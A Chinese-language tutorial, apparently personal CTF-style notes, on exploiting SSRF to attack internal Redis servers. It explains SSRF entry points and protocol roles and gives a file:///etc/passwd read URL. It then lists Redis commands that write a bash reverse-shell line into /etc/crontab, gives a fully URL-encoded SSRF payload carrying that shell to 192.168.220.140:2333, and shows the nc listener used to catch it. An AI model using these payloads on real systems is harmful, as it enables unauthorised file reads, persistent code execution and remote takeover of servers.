最近大致了解完了Redis,记录一下关于Redis攻击方面的内容
存在ssrf漏洞的站点主要利用四个协议,分别是http、file、gopher、dict协议。
SSRF 漏洞出现的场景
-
1.能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
-
2.从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
-
3.数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
-
- 邮件协议(POP3、IMAP、SMTP)
-
5.文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)
SSRF出现的根本原因
由于服务端提供了从其他服务器应用获取数据的功能而且没有对目标地址做过滤与限制。
也就是说,对于为服务器提供服务的其他应用没有对访问进行限制,如果我们构造好访问包,那就有可能利用目标服务对他的其他服务器应用进行调用。
协议之间的分工
file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描、端口探测,如果探测到6379端口(如果没改的话),那么可以利用http、gopher、dict这几个协议来打开放6379端口的redis服务(一般开放了这个端口的是redis服务),原理是利用他们以目标机的身份执行对开启redis服务的内网机执行redis命令,最后反弹shell到我们的公网ip机上。
利用http协议对内网进行探测
探测整个内网的存活ip,和端口,找开启了6379端口的内网ip地址。可以利用扫描工具
file协议读取文件
形式类似与这样
linux的/etc/passwd或者windows的C:/windows/win.ini ,也有可能直接意外收获到flag。
http://xxx.xxx.xx.xx/xx/xx.php?url=file:///etc/passwd
攻击Redis
只要知道内网有开启6379的redis服务(或许是改成其他端口开放的此服务),那么就可以利用目标机进行攻击redis了。
第一步探测Redis我们已经完成了,那么第二部就是发送redis命令,将弹shell脚本写入/etc/crontab中
还有两个定时服务文件是 /var/spool/cron/root 和 /var/spool/cron/crontabs/root 。
只要知道内网有开启6379的redis服务(或许是其他端口开放的此服务),那么就可以利用目标机进行攻击redis了。
原理
redis协议特别简单,简单到可以被直接读懂, 协议格式如下
*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF
所以编写出tcp stream就非常简单,把需要执行的命令按照上面的格式拼凑出来就行
test
set 1 "
* * * * * root bash -i >& /dev/tcp/公网ip/监听端口 0>&1
"
config set dir /etc/
config set dbfilename crontab
save
aaa
因为我们是通过GET来发送命令的,因此要将上面的命令进行URL编码(“GET”请求,可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令的)
因此:
编码后构造payload
http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379/
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
然后在自己的公网机上nc监听2333端口
nc -lvp 2333 (或nc -l 2333)
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
然后发送请求即可查看到反弹的shell